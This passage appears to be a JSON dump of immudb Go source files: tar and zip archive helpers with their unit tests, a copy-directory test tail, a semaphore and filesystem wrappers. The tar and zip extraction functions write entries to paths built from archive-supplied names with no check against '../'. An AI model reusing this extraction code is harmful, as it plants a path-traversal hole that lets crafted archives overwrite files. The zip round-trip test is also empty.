ioutil.ReadFile(file1[0])\n\trequire.NoError(t, err)\n\trequire.Equal(t, file1[1], string(fileContent1))\n\tfileContent2, err := ioutil.ReadFile(file2[0])\n\trequire.NoError(t, err)\n\trequire.Equal(t, file2[1], string(fileContent2))\n}\n\nfunc TestCopyDirSrcNonExistent(t *testing.T) {\n\tcopier := NewStandardCopier()\n\terr := copier.CopyDir(\n\t\tfilepath.Join(t.TempDir(), \"non-existent-copy-file-src\"),\n\t\tfilepath.Join(t.TempDir(), \"non-existent-copy-file-dst\"),\n\t)\n\trequire.ErrorIs(t, err, os.ErrNotExist)\n}\n\nfunc TestCopyDirSrcNotDir(t *testing.T) {\n\tsrc := filepath.Join(t.TempDir(), \"test-copy-dir-src-not-dir-src\")\n\trequire.NoError(t, ioutil.WriteFile(src, []byte(src), 0644))\n\tcopier := NewStandardCopier()\n\terr := copier.CopyDir(src, filepath.Join(t.TempDir(), \"test-copy-dir-src-not-dir-dst\"))\n\trequire.ErrorContains(t, err, \"is not a directory\")\n}\n\nfunc TestCopyDirDstAlreadyExists(t *testing.T) {\n\tsrc := t.TempDir()\n\tdst := t.TempDir()\n\tcopier := NewStandardCopier()\n\terr := copier.CopyDir(src, dst)\n\trequire.ErrorIs(t, err, os.ErrExist)\n}\n\nfunc TestCopyDirDstStatError(t *testing.T) {\n\tsrc := t.TempDir()\n\tdst := filepath.Join(t.TempDir(), \"test-copy-dir-dst-stat-error-dst\")\n\tcopier := NewStandardCopier()\n\terrDstStat := errors.New(\"dst Stat error\")\n\tcopier.OS.(*immuos.StandardOS).StatF = func(name string) (os.FileInfo, error) {\n\t\tif name != dst {\n\t\t\treturn os.Stat(name)\n\t\t}\n\t\treturn nil, errDstStat\n\t}\n\terr := copier.CopyDir(src, dst)\n\trequire.ErrorIs(t, err, errDstStat)\n}\n\nfunc TestCopyDirWalkError(t *testing.T) {\n\tsrc := t.TempDir()\n\tsrcSub := filepath.Join(src, \"subdir\")\n\trequire.NoError(t, os.MkdirAll(srcSub, 0755))\n\n\tdst := filepath.Join(t.TempDir(), \"test-copy-dir-walk-error-dst\")\n\tcopier := NewStandardCopier()\n\n\terrWalk := errors.New(\"walk error\")\n\tcopier.OS.(*immuos.StandardOS).WalkF = func(root string, walkFn filepath.WalkFunc) error {\n\t\treturn walkFn(\"\", nil, errWalk)\n\t}\n\terr := copier.CopyDir(src, dst)\n\trequire.ErrorIs(t, err, errWalk)\n}\n"
  },
  {
    "path": "pkg/fs/tar.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage fs\n\nimport (\n\t\"archive/tar\"\n\t\"compress/gzip\"\n\t\"io\"\n\t\"os\"\n\t\"strings\"\n\n\t\"github.com/codenotary/immudb/pkg/immuos\"\n)\n\n// Tarer ...\ntype Tarer interface {\n\tTarIt(src string, dst string) error\n\tUnTarIt(src string, dst string) error\n}\n\n// StandardTarer ...\ntype StandardTarer struct {\n\tOS       immuos.OS\n\tTarItF   func(src string, dst string) error\n\tUnTarItF func(src string, dst string) error\n}\n\n// NewStandardTarer ...\nfunc NewStandardTarer() *StandardTarer {\n\tst := &StandardTarer{\n\t\tOS: immuos.NewStandardOS(),\n\t}\n\tst.TarItF = st.tarIt\n\tst.UnTarItF = st.unTarIt\n\treturn st\n}\n\n// TarIt ...\nfunc (st *StandardTarer) TarIt(src string, dst string) error {\n\treturn st.TarItF(src, dst)\n}\n\n// UnTarIt ...\nfunc (st *StandardTarer) UnTarIt(src string, dst string) error {\n\treturn st.UnTarItF(src, dst)\n}\n\n// tarIt takes a source and variable writers and walks 'source' writing each file\n// found to the tar writer; the purpose for accepting multiple writers is to allow\n// for multiple outputs (for example a file, or md5 hash)\nfunc (st *StandardTarer) tarIt(src string, dst string) error {\n\tinfo, err := st.OS.Stat(src)\n\tif err != nil {\n\t\treturn err\n\t}\n\tvar baseDir string\n\tif info.IsDir() {\n\t\tbaseDir = st.OS.Base(src)\n\t}\n\n\tif _, err = st.OS.Stat(dst); err == nil {\n\t\treturn os.ErrExist\n\t}\n\tdestFile, err := st.OS.Create(dst)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer destFile.Close()\n\n\tmw := io.MultiWriter(destFile)\n\tgzw := gzip.NewWriter(mw)\n\tdefer gzw.Close()\n\ttw := tar.NewWriter(gzw)\n\tdefer tw.Close()\n\n\treturn st.OS.Walk(src, func(path string, info os.FileInfo, err error) error {\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif !info.Mode().IsRegular() {\n\t\t\treturn nil\n\t\t}\n\t\theader, err := tar.FileInfoHeader(info, info.Name())\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif baseDir != \"\" {\n\t\t\theader.Name = st.OS.Join(baseDir, strings.TrimPrefix(path, src))\n\t\t}\n\t\tif info.IsDir() {\n\t\t\theader.Name += \"/\"\n\t\t}\n\t\tif err = tw.WriteHeader(header); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif info.IsDir() {\n\t\t\treturn nil\n\t\t}\n\t\tf, err := st.OS.Open(path)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tdefer f.Close()\n\t\t_, err = io.Copy(tw, f)\n\t\treturn err\n\t})\n}\n\n// unTarIt takes a destination path and a reader; a tar reader loops over the tarfile\n// creating the file structure at 'dst' along the way, and writing any files\nfunc (st *StandardTarer) unTarIt(src string, dst string) error {\n\tsrcFile, err := st.OS.Open(src)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif err = st.OS.MkdirAll(dst, 0755); err != nil {\n\t\treturn err\n\t}\n\tgzr, err := gzip.NewReader(srcFile)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer gzr.Close()\n\ttr := tar.NewReader(gzr)\n\tfor {\n\t\theader, err := tr.Next()\n\t\tif err != nil {\n\t\t\tif err == io.EOF { // no more files\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\treturn err\n\t\t}\n\t\tif err = st.unTarEntry(dst, tr, header); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n}\n\nfunc (st *StandardTarer) unTarEntry(dst string, tr io.Reader, header *tar.Header) error {\n\tif header == nil {\n\t\treturn nil\n\t}\n\ttarget := st.OS.Join(dst, header.Name)\n\tswitch header.Typeflag { // or header.FileInfo() - same thing\n\tcase tar.TypeDir:\n\t\tif err := st.OS.MkdirAll(target, 0755); err != nil {\n\t\t\treturn err\n\t\t}\n\tcase tar.TypeReg:\n\t\tdir, _ := st.OS.Split(target)\n\t\tif err := st.OS.MkdirAll(dir, 0755); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif err := st.copyFile(target, tr, header.FileInfo().Mode()); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc (st *StandardTarer) copyFile(dst string, src io.Reader, perm os.FileMode) error {\n\tf, err := st.OS.OpenFile(dst, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, perm)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer f.Close()\n\t_, err = io.Copy(f, src)\n\treturn err\n}\n"
  },
  {
    "path": "pkg/fs/tar_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage fs\n\nimport (\n\t\"errors\"\n\t\"io\"\n\t\"io/ioutil\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/pkg/immuos\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc testArchiveUnarchive(\n\tt *testing.T,\n\tsrcDir string,\n\tdst string,\n\tarchive func() error,\n\tunarchive func() error,\n) {\n\n}\n\nfunc TestTarUnTar(t *testing.T) {\n\tbaseDir := t.TempDir()\n\tsrcDir := filepath.Join(baseDir, \"test-tar-untar\")\n\tdst := srcDir + \".tar.gz\"\n\ttarer := NewStandardTarer()\n\n\trequire.NoError(t, os.MkdirAll(srcDir, 0755))\n\n\tsrcSubDir1 := filepath.Join(srcDir, \"dir1\")\n\trequire.NoError(t, os.MkdirAll(srcSubDir1, 0755))\n\n\tsrcSubDir2 := filepath.Join(srcSubDir1, \"dir2\")\n\trequire.NoError(t, os.MkdirAll(srcSubDir2, 0755))\n\n\tfiles := []struct {\n\t\tName    string\n\t\tContent []byte\n\t}{\n\t\t{filepath.Join(srcSubDir1, \"file1\"), []byte(\"file1\\ncontent1\")},\n\t\t{filepath.Join(srcSubDir2, \"file2\"), []byte(\"file2\\ncontent2\")},\n\t}\n\n\tfor _, fl := range files {\n\t\trequire.NoError(t, ioutil.WriteFile(fl.Name, fl.Content, 0644))\n\t}\n\n\trequire.NoError(t, tarer.TarIt(srcDir, dst))\n\t_, err := os.Stat(dst)\n\trequire.NoError(t, err)\n\n\trequire.NoError(t, os.RemoveAll(srcDir))\n\n\trequire.NoError(t, tarer.UnTarIt(dst, baseDir))\n\n\tfor _, fl := range files {\n\t\tfileContent1, err := ioutil.ReadFile(fl.Name)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, fl.Content, fileContent1)\n\t}\n}\n\nfunc TestTarSrcNonExistent(t *testing.T) {\n\tsrc := filepath.Join(t.TempDir(), \"non-existent-tar-src\")\n\n\ttarer := NewStandardTarer()\n\terr := tarer.TarIt(src, src+\".tar.gz\")\n\trequire.ErrorIs(t, err, os.ErrNotExist)\n}\n\nfunc TestTarDstAlreadyExists(t *testing.T) {\n\tsrc := filepath.Join(t.TempDir(), \"some-tar-src\")\n\tdst := filepath.Join(t.TempDir(), \"existing-tar-dest\")\n\n\terr := ioutil.WriteFile(src, []byte(src), 0644)\n\trequire.NoError(t, err)\n\terr = ioutil.WriteFile(dst, []byte(dst), 0644)\n\trequire.NoError(t, err)\n\n\ttarer := NewStandardTarer()\n\terr = tarer.TarIt(src, dst)\n\trequire.ErrorIs(t, err, os.ErrExist)\n}\n\nfunc TestTarDstCreateErr(t *testing.T) {\n\tsrc := filepath.Join(t.TempDir(), \"some-tar-src\")\n\trequire.NoError(t, os.MkdirAll(src, 0755))\n\tdst := filepath.Join(t.TempDir(), \"some-tar-dst\")\n\ttarer := NewStandardTarer()\n\terrCreate := errors.New(\"Create error\")\n\ttarer.OS.(*immuos.StandardOS).CreateF = func(name string) (*os.File, error) {\n\t\treturn nil, errCreate\n\t}\n\trequire.Equal(t, errCreate, tarer.TarIt(src, dst))\n}\n\nfunc TestTarWalkError(t *testing.T) {\n\tsrc := filepath.Join(t.TempDir(), \"some-tar-src\")\n\tsrcSub := filepath.Join(src, \"subdir\")\n\trequire.NoError(t, os.MkdirAll(srcSub, 0755))\n\tdst := filepath.Join(t.TempDir(), \"some-tar-dst\")\n\ttarer := NewStandardTarer()\n\terrWalk := errors.New(\"Walk error\")\n\ttarer.OS.(*immuos.StandardOS).WalkF = func(root string, walkFn filepath.WalkFunc) error {\n\t\treturn walkFn(\"\", nil, errWalk)\n\t}\n\trequire.Equal(t, errWalk, tarer.TarIt(src, dst))\n}\n\nfunc TestTarWalkOpenError(t *testing.T) {\n\tsrc := filepath.Join(t.TempDir(), \"some-tar-src\")\n\trequire.NoError(t, os.MkdirAll(src, 0755))\n\tsrcFile := filepath.Join(src, \"f.txt\")\n\tioutil.WriteFile(srcFile, []byte(\"f content\"), 0644)\n\tdst := filepath.Join(t.TempDir(), \"some-tar-dst\")\n\ttarer := NewStandardTarer()\n\terrWalkOpen := errors.New(\"Walk open error\")\n\ttarer.OS.(*immuos.StandardOS).OpenF = func(name string) (*os.File, error) {\n\t\treturn nil, errWalkOpen\n\t}\n\trequire.Equal(t, errWalkOpen, tarer.TarIt(src, dst))\n}\n\nfunc TestUnTarOpenError(t *testing.T) {\n\ttarer := NewStandardTarer()\n\trequire.Error(t, tarer.UnTarIt(\n\t\tfilepath.Join(t.TempDir(), \"src\"),\n\t\tfilepath.Join(t.TempDir(), \"dst\"),\n\t))\n}\n\nfunc TestUnTarMdkirDst(t *testing.T) {\n\tsrc := filepath.Join(t.TempDir(), \"some-tar-src\")\n\trequire.NoError(t, os.MkdirAll(src, 0755))\n\ttarer := NewStandardTarer()\n\terrMkdirAll := errors.New(\"MkdirAll error\")\n\ttarer.OS.(*immuos.StandardOS).MkdirAllF = func(path string, perm os.FileMode) error {\n\t\treturn errMkdirAll\n\t}\n\trequire.Equal(t, errMkdirAll, tarer.UnTarIt(src, filepath.Join(t.TempDir(), \"dst\")))\n}\n\nfunc TestUnTarNonArchiveSrc(t *testing.T) {\n\tsrc := filepath.Join(t.TempDir(), \"some-file.txt\")\n\trequire.NoError(t, ioutil.WriteFile(src, []byte(\"content\"), 0644))\n\ttarer := NewStandardTarer()\n\tdst := filepath.Join(t.TempDir(), \"dst\")\n\terr := tarer.UnTarIt(src, dst)\n\trequire.ErrorIs(t, err, io.ErrUnexpectedEOF)\n}\n\nfunc TestUnTarMkdirAllSubDirError(t *testing.T) {\n\tsrc := filepath.Join(t.TempDir(), \"some-tar-src\")\n\tsrcSub := filepath.Join(src, \"subdir\")\n\trequire.NoError(t, os.MkdirAll(srcSub, 0755))\n\tioutil.WriteFile(filepath.Join(srcSub, \"some-file.txt\"), []byte(\"content\"), 0644)\n\ttarer := NewStandardTarer()\n\tdst := filepath.Join(t.TempDir(), \"some-tar-dst.tar.gz\")\n\trequire.NoError(t, tarer.TarIt(src, dst))\n\terrMkdirAll := errors.New(\"MkdirAll subdir error\")\n\tcounter := 0\n\ttarer.OS.(*immuos.StandardOS).MkdirAllF = func(path string, perm os.FileMode) error {\n\t\tcounter++\n\t\tif counter == 2 {\n\t\t\treturn errMkdirAll\n\t\t}\n\t\treturn os.MkdirAll(path, perm)\n\t}\n\terr := tarer.UnTarIt(dst, filepath.Join(t.TempDir(), \"dst2\"))\n\trequire.ErrorIs(t, err, errMkdirAll)\n}\n\nfunc TestUnTarOpenFileError(t *testing.T) {\n\tsrc := filepath.Join(t.TempDir(), \"some-tar-src\")\n\tsrcSub := filepath.Join(src, \"subdir\")\n\trequire.NoError(t, os.MkdirAll(srcSub, 0755))\n\tioutil.WriteFile(filepath.Join(srcSub, \"some-file.txt\"), []byte(\"content\"), 0644)\n\ttarer := NewStandardTarer()\n\tdst := filepath.Join(t.TempDir(), \"some-tar-dst.tar.gz\")\n\trequire.NoError(t, tarer.TarIt(src, dst))\n\terrOpenFile := errors.New(\"OpenFile error\")\n\ttarer.OS.(*immuos.StandardOS).OpenFileF = func(name string, flag int, perm os.FileMode) (*os.File, error) {\n\t\treturn nil, errOpenFile\n\t}\n\terr := tarer.UnTarIt(dst, filepath.Join(t.TempDir(), \"dst2\"))\n\trequire.ErrorIs(t, err, errOpenFile)\n}\n"
  },
  {
    "path": "pkg/fs/zip.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage fs\n\nimport (\n\t\"archive/zip\"\n\t\"compress/flate\"\n\t\"io\"\n\t\"os\"\n\t\"strings\"\n\n\t\"github.com/codenotary/immudb/pkg/immuos\"\n)\n\n// Zip compression levels\nconst (\n\tZipNoCompression      = flate.NoCompression\n\tZipBestSpeed          = flate.BestSpeed\n\tZipMediumCompression  = 5\n\tZipBestCompression    = flate.BestCompression\n\tZipDefaultCompression = flate.DefaultCompression\n\tZipHuffmanOnly        = flate.HuffmanOnly\n)\n\n// Ziper ...\ntype Ziper interface {\n\tZipIt(src, dst string, compressionLevel int) error\n\tUnZipIt(src, dst string) error\n}\n\n// StandardZiper ...\ntype StandardZiper struct {\n\tOS       immuos.OS\n\tZipItF   func(src, dst string, compressionLevel int) error\n\tUnZipItF func(src, dst string) error\n}\n\n// NewStandardZiper ...\nfunc NewStandardZiper() *StandardZiper {\n\tsz := &StandardZiper{\n\t\tOS: immuos.NewStandardOS(),\n\t}\n\tsz.ZipItF = sz.zipIt\n\tsz.UnZipItF = sz.unZipIt\n\treturn sz\n}\n\n// ZipIt ...\nfunc (sz *StandardZiper) ZipIt(src, dst string, compressionLevel int) error {\n\treturn sz.ZipItF(src, dst, compressionLevel)\n}\n\n// UnZipIt ...\nfunc (sz *StandardZiper) UnZipIt(src, dst string) error {\n\treturn sz.UnZipItF(src, dst)\n}\n\n// zipIt ...\nfunc (sz *StandardZiper) zipIt(src, dst string, compressionLevel int) error {\n\tsrcInfo, err := sz.OS.Stat(src)\n\tif err != nil {\n\t\treturn err\n\t}\n\tvar baseDir string\n\tif srcInfo.IsDir() {\n\t\tbaseDir = sz.OS.Base(src)\n\t}\n\n\tif _, err = sz.OS.Stat(dst); err == nil {\n\t\treturn os.ErrExist\n\t}\n\tzipfile, err := sz.OS.Create(dst)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer zipfile.Close()\n\n\tzipWriter := zip.NewWriter(zipfile)\n\tdefer zipWriter.Close()\n\tif compressionLevel != ZipDefaultCompression {\n\t\tzipWriter.RegisterCompressor(zip.Deflate, func(out io.Writer) (io.WriteCloser, error) {\n\t\t\treturn flate.NewWriter(out, flate.BestCompression)\n\t\t})\n\t}\n\n\terr = sz.OS.Walk(src, func(path string, info os.FileInfo, err error) error {\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif !info.Mode().IsRegular() {\n\t\t\treturn nil\n\t\t}\n\t\theader, err := zip.FileInfoHeader(info)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif baseDir != \"\" {\n\t\t\theader.Name = sz.OS.Join(baseDir, strings.TrimPrefix(path, src))\n\t\t}\n\t\tif info.IsDir() {\n\t\t\theader.Name += \"/\"\n\t\t} else {\n\t\t\theader.Method = zip.Deflate\n\t\t}\n\t\twriter, err := zipWriter.CreateHeader(header)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif info.IsDir() {\n\t\t\treturn nil\n\t\t}\n\t\tfile, err := sz.OS.Open(path)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tdefer file.Close()\n\t\t_, err = io.Copy(writer, file)\n\t\treturn err\n\t})\n\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn zipWriter.Close()\n}\n\n// unZipIt ...\nfunc (sz *StandardZiper) unZipIt(src, dst string) error {\n\tr, err := zip.OpenReader(src)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer r.Close()\n\n\tsz.OS.MkdirAll(dst, 0755)\n\n\tfor _, f := range r.File {\n\t\terr := sz.extractAndWriteFile(f, dst)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}\n\nfunc (sz *StandardZiper) extractAndWriteFile(fileInZip *zip.File, dst string) error {\n\trc, err := fileInZip.Open()\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer rc.Close()\n\n\tpath := sz.OS.Join(dst, fileInZip.Name)\n\n\tif fileInZip.FileInfo().IsDir() {\n\t\tsz.OS.MkdirAll(path, 0755)\n\t} else {\n\t\tif err := sz.OS.MkdirAll(sz.OS.Dir(path), 0755); err != nil {\n\t\t\treturn err\n\t\t}\n\t\ttargetFile, err :=\n\t\t\tsz.OS.OpenFile(path, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, fileInZip.Mode())\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tdefer targetFile.Close()\n\n\t\t_, err = io.Copy(targetFile, rc)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}\n"
  },
  {
    "path": "pkg/fs/zip_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage fs\n\nimport (\n\t\"archive/zip\"\n\t\"errors\"\n\t\"io/ioutil\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/pkg/immuos\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestZipUnZip(t *testing.T) {\n\tsrc := filepath.Join(t.TempDir(), \"test-zip-unzip\")\n\tdst := src + \".zip\"\n\tziper := NewStandardZiper()\n\ttestArchiveUnarchive(\n\t\tt,\n\t\tsrc,\n\t\tdst,\n\t\tfunc() error { return ziper.ZipIt(src, dst, ZipBestSpeed) },\n\t\tfunc() error { return ziper.UnZipIt(dst, \".\") },\n\t)\n}\n\nfunc TestZipSrcNonExistent(t *testing.T) {\n\tnonExistentSrc := filepath.Join(t.TempDir(), \"non-existent-zip-src\")\n\n\tziper := NewStandardZiper()\n\terr := ziper.ZipIt(nonExistentSrc, nonExistentSrc+\".zip\", ZipBestSpeed)\n\trequire.ErrorIs(t, err, os.ErrNotExist)\n}\n\nfunc TestZipDstAlreadyExists(t *testing.T) {\n\tsrc := filepath.Join(t.TempDir(), \"some-zip-src\")\n\tdst := filepath.Join(t.TempDir(), \"existing-zip-dest\")\n\n\terr := ioutil.WriteFile(src, []byte(src), 0644)\n\trequire.NoError(t, err)\n\n\terr = ioutil.WriteFile(dst, []byte(dst), 0644)\n\trequire.NoError(t, err)\n\n\tziper := NewStandardZiper()\n\terr = ziper.ZipIt(src, dst, ZipBestSpeed)\n\trequire.ErrorIs(t, err, os.ErrExist)\n}\n\nfunc TestZipDstCreateError(t *testing.T) {\n\tsrc := t.TempDir()\n\tdst := filepath.Join(t.TempDir(), \"dst\")\n\tziper := NewStandardZiper()\n\terrCreate := errors.New(\"Create error\")\n\tziper.OS.(*immuos.StandardOS).CreateF = func(name string) (*os.File, error) {\n\t\treturn nil, errCreate\n\t}\n\terr := ziper.ZipIt(src, dst, ZipBestSpeed)\n\trequire.ErrorIs(t, err, errCreate)\n}\n\nfunc TestZipWalkError(t *testing.T) {\n\tsrc := t.TempDir()\n\tdst := filepath.Join(t.TempDir(), \"dst\")\n\tsrcSub := filepath.Join(src, \"subdir\")\n\n\terr := os.MkdirAll(srcSub, 0755)\n\trequire.NoError(t, err)\n\n\terr = ioutil.WriteFile(filepath.Join(srcSub, \"somefile.txt\"), []byte(\"content\"), 0644)\n\trequire.NoError(t, err)\n\n\tziper := NewStandardZiper()\n\terrWalk := errors.New(\"Walk error\")\n\tziper.OS.(*immuos.StandardOS).WalkF = func(root string, walkFn filepath.WalkFunc) error {\n\t\treturn walkFn(\"\", nil, errWalk)\n\t}\n\terr = ziper.ZipIt(src, dst, ZipBestSpeed)\n\trequire.ErrorIs(t, err, errWalk)\n}\n\nfunc TestZipWalkOpenError(t *testing.T) {\n\tsrc := t.TempDir()\n\tdst := filepath.Join(t.TempDir(), \"dst\")\n\n\tsrcSub := filepath.Join(src, \"subdir\")\n\terr := os.MkdirAll(srcSub, 0755)\n\trequire.NoError(t, err)\n\n\terr = ioutil.WriteFile(filepath.Join(srcSub, \"somefile.txt\"), []byte(\"content\"), 0644)\n\trequire.NoError(t, err)\n\n\tziper := NewStandardZiper()\n\terrWalkOpen := errors.New(\"Walk open error\")\n\tziper.OS.(*immuos.StandardOS).OpenF = func(name string) (*os.File, error) {\n\t\treturn nil, errWalkOpen\n\t}\n\terr = ziper.ZipIt(src, dst, ZipBestSpeed)\n\trequire.ErrorIs(t, err, errWalkOpen)\n}\n\nfunc TestUnZipSrcNotZipArchive(t *testing.T) {\n\tsrc := filepath.Join(t.TempDir(), \"somefile.txt\")\n\tdst := filepath.Join(t.TempDir(), \"dst\")\n\trequire.NoError(t, ioutil.WriteFile(src, []byte(\"content\"), 0644))\n\tzipper := NewStandardZiper()\n\terr := zipper.UnZipIt(src, dst)\n\trequire.ErrorIs(t, err, zip.ErrFormat)\n}\n\nfunc TestUnZipEntryMkdirAllError(t *testing.T) {\n\tsrc := t.TempDir()\n\n\trequire.NoError(t, ioutil.WriteFile(filepath.Join(src, \"somefile.txt\"), []byte(\"content\"), 0644))\n\tziper := NewStandardZiper()\n\n\tdst := filepath.Join(t.TempDir(), \"some-zip.zip\")\n\terr := ziper.ZipIt(src, dst, ZipBestSpeed)\n\trequire.NoError(t, err)\n\n\terrMkdirAll := errors.New(\"MkdirAll error\")\n\tcounter := 0\n\tziper.OS.(*immuos.StandardOS).MkdirAllF = func(path string, perm os.FileMode) error {\n\t\tcounter++\n\t\tif counter == 2 {\n\t\t\treturn errMkdirAll\n\t\t}\n\t\treturn os.MkdirAll(path, perm)\n\t}\n\tdstUnZip := filepath.Join(t.TempDir(), \"unzip-dst\")\n\terr = ziper.UnZipIt(dst, dstUnZip)\n\trequire.ErrorIs(t, err, errMkdirAll)\n}\n\nfunc TestUnZipEntryOpenFileError(t *testing.T) {\n\tsrc := filepath.Join(t.TempDir(), \"some-zip-src\")\n\trequire.NoError(t, os.Mkdir(src, 0755))\n\trequire.NoError(t, ioutil.WriteFile(filepath.Join(src, \"somefile.txt\"), []byte(\"content\"), 0644))\n\tziper := NewStandardZiper()\n\tdst := filepath.Join(t.TempDir(), \"some-zip.zip\")\n\trequire.NoError(t, ziper.ZipIt(src, dst, ZipBestSpeed))\n\terrOpenFile := errors.New(\"OpenFile entry error\")\n\tziper.OS.(*immuos.StandardOS).OpenFileF = func(name string, flag int, perm os.FileMode) (*os.File, error) {\n\t\treturn nil, errOpenFile\n\t}\n\tdstUnZip := filepath.Join(t.TempDir(), \"unzip-dst\")\n\terr := ziper.UnZipIt(dst, dstUnZip)\n\trequire.ErrorIs(t, err, errOpenFile)\n}\n"
  },
  {
    "path": "pkg/helpers/semaphore/semaphore.go",
    "content": "package semaphore\n\nimport \"sync/atomic\"\n\ntype Semaphore struct {\n\tmaxWeight  uint64\n\tcurrWeight uint64\n}\n\nfunc New(maxWeight uint64) *Semaphore {\n\treturn &Semaphore{\n\t\tmaxWeight:  maxWeight,\n\t\tcurrWeight: 0,\n\t}\n}\n\nfunc (m *Semaphore) Acquire(n uint64) bool {\n\tif newVal := atomic.AddUint64(&m.currWeight, n); newVal <= m.maxWeight {\n\t\treturn true\n\t}\n\tm.Release(n)\n\treturn false\n}\n\nfunc (m *Semaphore) Release(n uint64) {\n\tatomic.AddUint64(&m.currWeight, ^uint64(n-1))\n}\n\nfunc (m *Semaphore) Value() uint64 {\n\treturn atomic.LoadUint64(&m.currWeight)\n}\n\nfunc (m *Semaphore) MaxWeight() uint64 {\n\treturn m.maxWeight\n}\n"
  },
  {
    "path": "pkg/helpers/slices/slices.go",
    "content": "package slices\n\nimport (\n\t\"unsafe\"\n)\n\n// BytesToString converts bytes to a string without memory allocation.\n// NOTE: The given bytes MUST NOT be modified since they share the same backing array\n// with the returned string.\n// Reference implementation: https://github.com/golang/go/blob/ad7c32dc3b6d5edc3dd72b3e15c80dc4f4c27064/src/strings/builder.go#L47.\nfunc BytesToString(bs []byte) string {\n\treturn *(*string)(unsafe.Pointer(&bs))\n}\n"
  },
  {
    "path": "pkg/immuos/filepath.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuos\n\nimport \"path/filepath\"\n\n// Filepath ...\ntype Filepath interface {\n\tAbs(path string) (string, error)\n\tBase(path string) string\n\tExt(path string) string\n\tDir(path string) string\n\tWalk(root string, walkFn filepath.WalkFunc) error\n\tFromSlash(path string) string\n\tJoin(elem ...string) string\n\tClean(path string) string\n\tSplit(path string) (dir, file string)\n}\n\n// StandardFilepath ...\ntype StandardFilepath struct {\n\tAbsF       func(path string) (string, error)\n\tBaseF      func(path string) string\n\tExtF       func(path string) string\n\tDirF       func(path string) string\n\tWalkF      func(root string, walkFn filepath.WalkFunc) error\n\tFromSlashF func(path string) string\n\tJoinF      func(elem ...string) string\n\tCleanF     func(path string) string\n\tSplitF     func(path string) (dir, file string)\n}\n\n// NewStandardFilepath ...\nfunc NewStandardFilepath() *StandardFilepath {\n\treturn &StandardFilepath{\n\t\tAbsF:       filepath.Abs,\n\t\tBaseF:      filepath.Base,\n\t\tExtF:       filepath.Ext,\n\t\tDirF:       filepath.Dir,\n\t\tWalkF:      filepath.Walk,\n\t\tFromSlashF: filepath.FromSlash,\n\t\tJoinF:      filepath.Join,\n\t\tCleanF:     filepath.Clean,\n\t\tSplitF:     